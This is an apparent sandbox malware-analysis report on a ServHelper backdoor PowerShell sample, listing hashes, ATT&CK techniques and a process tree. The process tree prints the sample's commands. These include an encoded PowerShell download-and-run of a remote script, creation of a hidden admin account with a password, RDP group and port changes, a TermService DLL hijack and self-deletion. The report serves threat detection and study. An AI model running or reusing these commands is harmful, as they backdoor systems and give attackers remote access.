servhelper | a32d35c527d278679bf19e45eb6f5841ad501f9e97da65dc6b5dade3ac762767

Analysis

max time kernel
135s
max time network
122s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
13/03/2025, 11:30

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General

Target

edd23d9fccfb6d00bfe4c572f49e539e1a03a84ab985a84ec0d09ce8d85899fa.ps1
Size

2.5MB
MD5

54ea05f72d85e81abc662f81717b3a6e
SHA1

10cc7c97b12808c6d0011d24a5213ce315b6ad0e
SHA256

edd23d9fccfb6d00bfe4c572f49e539e1a03a84ab985a84ec0d09ce8d85899fa
SHA512

2b9fee3fd73c357345d61b3a642031cf38a1f4723ee377e318bb14f1a47954a7c229dc26da793cd3d6ab1ab5f565ed85aab402ca2047a7fd0e1f705944558290
SSDEEP

49152:cd8rheMFBvkc7Ti6PHckz0GepoCUnaw4Xmf7Em9sFqa:s

Score

10^/10

servhelper backdoor defense_evasion discovery execution exploit lateral_movement persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Servhelper family
servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Remote Service Session Hijacking: RDP Hijacking 1 TTPs 6 IoCs

Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.

lateral_movement

RDP Hijacking

T1563.002

pid	Process
404	net.exe
840	net1.exe
2576	cmd.exe
556	net.exe
2556	net1.exe
1240	cmd.exe

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	1088	powershell.exe
6	1088	powershell.exe

Indicator Removal: Network Share Connection Removal 1 TTPs 3 IoCs

Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.

defense_evasion

Network Share Connection Removal

T1070.005

pid	Process
2536	cmd.exe
1500	net.exe
2232	net1.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
2696	icacls.exe
2900	icacls.exe
2684	icacls.exe
2984	icacls.exe
1960	icacls.exe
1248	icacls.exe
532	icacls.exe
2836	takeown.exe

Server Software Component: Terminal Services DLL 1 TTPs 1 IoCs

persistence

Terminal Services DLL

T1505.005

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\TermService\Parameters\ServiceDLL = "C:\\Windows\\branding\\mediasrv.png"	reg.exe

Deletes itself 1 IoCs

pid	Process
1804	powershell.exe

Loads dropped DLL 2 IoCs

pid	Process
2196	Process not Found
2196	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1248	icacls.exe
532	icacls.exe
2836	takeown.exe
2696	icacls.exe
2900	icacls.exe
2684	icacls.exe
2984	icacls.exe
1960	icacls.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
4	raw.githubusercontent.com
5	raw.githubusercontent.com
6	raw.githubusercontent.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000c000000016dea-52.dat	upx
behavioral1/files/0x0008000000017491-53.dat	upx

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9Z4CTL00PXYP58O0CHAC.temp	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1804	powershell.exe
1964	powershell.exe
2812	powershell.exe
2872	powershell.exe
1088	powershell.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1972	WMIC.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = d089f85d0b94db01	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
264	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
1804	powershell.exe
1964	powershell.exe
2812	powershell.exe
2872	powershell.exe
1804	powershell.exe
1804	powershell.exe
1804	powershell.exe
1088	powershell.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
472	Process not Found
2196	Process not Found
2196	Process not Found
2196	Process not Found
2196	Process not Found
2196	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	1804	powershell.exe
Token: SeDebugPrivilege	1964	powershell.exe
Token: SeDebugPrivilege	2812	powershell.exe
Token: SeDebugPrivilege	2872	powershell.exe
Token: SeRestorePrivilege	2900	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1972	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1972	WMIC.exe
Token: SeAuditPrivilege	1972	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1972	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1972	WMIC.exe
Token: SeAuditPrivilege	1972	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2132	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2132	WMIC.exe
Token: SeAuditPrivilege	2132	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2132	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2132	WMIC.exe
Token: SeAuditPrivilege	2132	WMIC.exe
Token: SeDebugPrivilege	1088	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1804 wrote to memory of 1964	1804	powershell.exe	31
PID 1804 wrote to memory of 1964	1804	powershell.exe	31
PID 1804 wrote to memory of 1964	1804	powershell.exe	31
PID 1804 wrote to memory of 2812	1804	powershell.exe	33
PID 1804 wrote to memory of 2812	1804	powershell.exe	33
PID 1804 wrote to memory of 2812	1804	powershell.exe	33
PID 1804 wrote to memory of 2872	1804	powershell.exe	35
PID 1804 wrote to memory of 2872	1804	powershell.exe	35
PID 1804 wrote to memory of 2872	1804	powershell.exe	35
PID 1804 wrote to memory of 2836	1804	powershell.exe	39
PID 1804 wrote to memory of 2836	1804	powershell.exe	39
PID 1804 wrote to memory of 2836	1804	powershell.exe	39
PID 1804 wrote to memory of 2696	1804	powershell.exe	40
PID 1804 wrote to memory of 2696	1804	powershell.exe	40
PID 1804 wrote to memory of 2696	1804	powershell.exe	40
PID 1804 wrote to memory of 2900	1804	powershell.exe	41
PID 1804 wrote to memory of 2900	1804	powershell.exe	41
PID 1804 wrote to memory of 2900	1804	powershell.exe	41
PID 1804 wrote to memory of 2684	1804	powershell.exe	42
PID 1804 wrote to memory of 2684	1804	powershell.exe	42
PID 1804 wrote to memory of 2684	1804	powershell.exe	42
PID 1804 wrote to memory of 2984	1804	powershell.exe	43
PID 1804 wrote to memory of 2984	1804	powershell.exe	43
PID 1804 wrote to memory of 2984	1804	powershell.exe	43
PID 1804 wrote to memory of 1960	1804	powershell.exe	44
PID 1804 wrote to memory of 1960	1804	powershell.exe	44
PID 1804 wrote to memory of 1960	1804	powershell.exe	44
PID 1804 wrote to memory of 1248	1804	powershell.exe	45
PID 1804 wrote to memory of 1248	1804	powershell.exe	45
PID 1804 wrote to memory of 1248	1804	powershell.exe	45
PID 1804 wrote to memory of 532	1804	powershell.exe	46
PID 1804 wrote to memory of 532	1804	powershell.exe	46
PID 1804 wrote to memory of 532	1804	powershell.exe	46
PID 1804 wrote to memory of 1636	1804	powershell.exe	47
PID 1804 wrote to memory of 1636	1804	powershell.exe	47
PID 1804 wrote to memory of 1636	1804	powershell.exe	47
PID 1804 wrote to memory of 264	1804	powershell.exe	48
PID 1804 wrote to memory of 264	1804	powershell.exe	48
PID 1804 wrote to memory of 264	1804	powershell.exe	48
PID 1804 wrote to memory of 2888	1804	powershell.exe	49
PID 1804 wrote to memory of 2888	1804	powershell.exe	49
PID 1804 wrote to memory of 2888	1804	powershell.exe	49
PID 1804 wrote to memory of 1148	1804	powershell.exe	50
PID 1804 wrote to memory of 1148	1804	powershell.exe	50
PID 1804 wrote to memory of 1148	1804	powershell.exe	50
PID 1148 wrote to memory of 1108	1148	net.exe	51
PID 1148 wrote to memory of 1108	1148	net.exe	51
PID 1148 wrote to memory of 1108	1148	net.exe	51
PID 1804 wrote to memory of 1152	1804	powershell.exe	52
PID 1804 wrote to memory of 1152	1804	powershell.exe	52
PID 1804 wrote to memory of 1152	1804	powershell.exe	52
PID 1152 wrote to memory of 1660	1152	cmd.exe	53
PID 1152 wrote to memory of 1660	1152	cmd.exe	53
PID 1152 wrote to memory of 1660	1152	cmd.exe	53
PID 1660 wrote to memory of 1760	1660	cmd.exe	54
PID 1660 wrote to memory of 1760	1660	cmd.exe	54
PID 1660 wrote to memory of 1760	1660	cmd.exe	54
PID 1760 wrote to memory of 2636	1760	net.exe	55
PID 1760 wrote to memory of 2636	1760	net.exe	55
PID 1760 wrote to memory of 2636	1760	net.exe	55
PID 1804 wrote to memory of 1028	1804	powershell.exe	56
PID 1804 wrote to memory of 1028	1804	powershell.exe	56
PID 1804 wrote to memory of 1028	1804	powershell.exe	56
PID 1028 wrote to memory of 2324	1028	cmd.exe	57

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\edd23d9fccfb6d00bfe4c572f49e539e1a03a84ab985a84ec0d09ce8d85899fa.ps1
1⤵
- Deletes itself
- Drops file in System32 directory
- Drops file in Windows directory
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2812
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2872
- C:\Windows\system32\takeown.exe
  "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2836
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2696
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:2900
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2684
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:2984
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:1960
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:1248
- C:\Windows\system32\icacls.exe
  "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:532
- C:\Windows\system32\reg.exe
  "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
  2⤵
  PID:1636
- C:\Windows\system32\reg.exe
  "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
  2⤵
  - Server Software Component: Terminal Services DLL
  - Modifies registry key
  PID:264
- C:\Windows\system32\reg.exe
  "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
  2⤵
  PID:2888
- C:\Windows\system32\net.exe
  "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1148
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    PID:1108
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1152
- - C:\Windows\system32\cmd.exe
    cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1660
  - - C:\Windows\system32\net.exe
      net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1760
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        5⤵
        
        PID:2636
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1028
- - C:\Windows\system32\cmd.exe
    cmd /c net start TermService
    3⤵
    PID:2324
  - - C:\Windows\system32\net.exe
      net start TermService
      4⤵
      PID:1796
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        5⤵
        
        PID:2316
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
  2⤵
  PID:2756
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
  2⤵
  PID:2804

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
- Indicator Removal: Network Share Connection Removal
PID:2536
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  - Indicator Removal: Network Share Connection Removal
  PID:1500
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    - Indicator Removal: Network Share Connection Removal
    PID:2232

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc idhevtne /add
1⤵
PID:2108
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc idhevtne /add
  2⤵
  PID:1864
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc idhevtne /add
    3⤵
    PID:1044

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Remote Service Session Hijacking: RDP Hijacking
PID:1240
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  - Remote Service Session Hijacking: RDP Hijacking
  PID:404
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    - Remote Service Session Hijacking: RDP Hijacking
    PID:840

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" JSMURNPT$ /ADD
1⤵
- Remote Service Session Hijacking: RDP Hijacking
PID:2576
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" JSMURNPT$ /ADD
  2⤵
  - Remote Service Session Hijacking: RDP Hijacking
  PID:556
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JSMURNPT$ /ADD
    3⤵
    - Remote Service Session Hijacking: RDP Hijacking
    PID:2556

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:1316
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:2496
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1216

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc idhevtne
1⤵
PID:288
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc idhevtne
  2⤵
  PID:1356
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc idhevtne
    3⤵
    PID:1732

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:2676
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1972

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:2428
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2132

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1516
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:544
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Command and Scripting Interpreter: PowerShell
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1088

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Account Manipulation

T1098

Server Software Component

T1505

Terminal Services DLL

T1505.005

Privilege Escalation

Account Manipulation

T1098

Defense Evasion

File and Directory Permissions Modification

T1222

Indicator Removal

T1070

File Deletion

T1070.004

Network Share Connection Removal

T1070.005

Modify Registry

T1112

Credential Access

Discovery

Permission Groups Discovery

T1069

Local Groups

T1069.001

System Information Discovery

T1082

Lateral Movement

Remote Service Session Hijacking

T1563

RDP Hijacking

T1563.002

Remote Services

T1021

Remote Desktop Protocol

T1021.001

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
0fd62120c475431ba83d8c0d677a4803

SHA1
7fc296d47748b80954d597bbccad31d941c049ff

SHA256
6ed762a876b472b2e53300cec61d3fc254a63b99cd7cd7dbfa09d8c0c406c2ed

SHA512
759b56cd25000daa49f29d520a24909582f94671be20e2a6dc0dfa719e5ea1a539240d98fc8590cedd8ba0e833d2b1213305907db75ae02f8fb3664d24392017

Download Submit
C:\Windows\system32\rfxvmt.dll

Filesize
40KB

MD5
dc39d23e4c0e681fad7a3e1342a2843c

SHA1
58fd7d50c2dca464a128f5e0435d6f0515e62073

SHA256
6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

SHA512
5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

Download Submit
\Windows\Branding\mediasrv.png

Filesize
60KB

MD5
db8de11b906843e62188d170711bddc3

SHA1
427ed4be90b2117a702f9df67f2d7817ea919f79

SHA256
90e9f4ffdb2ab1ef150c4bc411da031c9479bd8675901fb9726a959701cb6e4e

SHA512
d4d1789ca1765df1a2c472a52f811c298ce3601658cf47a31ee3853dc0daef2964ed50101762c91c8525f5404adc86df718b531c67b0d7065566770fd5f77c45

Download Submit
\Windows\Branding\mediasvc.png

Filesize
743KB

MD5
1227375b9491eeda0d50854a3dc592a3

SHA1
7ea8a29f5eb2d0639170a2d6b60eb5c8d304ed13

SHA256
e67bfa2e36dc3e60ec7eedcc723a246ec4509abeb67c6a7961dcfe4f8405d317

SHA512
68f1528573d5e57b55c7f91012a8f7849b8ef77029192975d25c24fa22180da7c172b1260990ae205e8da8e7752d57b69e7a28a500d35b282d81b6faf45b29b8

Download Submit
memory/1804-37-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

Filesize
9.6MB

Download
memory/1804-36-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

Filesize
9.6MB

Download
memory/1804-10-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

Filesize
9.6MB

Download
memory/1804-12-0x000000001B500000-0x000000001B532000-memory.dmp

Filesize
200KB

Download
memory/1804-13-0x000000001B500000-0x000000001B532000-memory.dmp

Filesize
200KB

Download
memory/1804-9-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

Filesize
9.6MB

Download
memory/1804-59-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

Filesize
9.6MB

Download
memory/1804-5-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

Filesize
2.9MB

Download
memory/1804-32-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

Filesize
9.6MB

Download
memory/1804-11-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

Filesize
9.6MB

Download
memory/1804-35-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

Filesize
9.6MB

Download
memory/1804-34-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

Filesize
9.6MB

Download
memory/1804-33-0x000007FEF5DAE000-0x000007FEF5DAF000-memory.dmp

Filesize
4KB

Download
memory/1804-4-0x000007FEF5DAE000-0x000007FEF5DAF000-memory.dmp

Filesize
4KB

Download
memory/1804-8-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

Filesize
9.6MB

Download
memory/1804-7-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

Filesize
9.6MB

Download
memory/1804-6-0x0000000002790000-0x0000000002798000-memory.dmp

Filesize
32KB

Download
memory/1964-20-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

Filesize
9.6MB

Download
memory/1964-19-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

Filesize
9.6MB

Download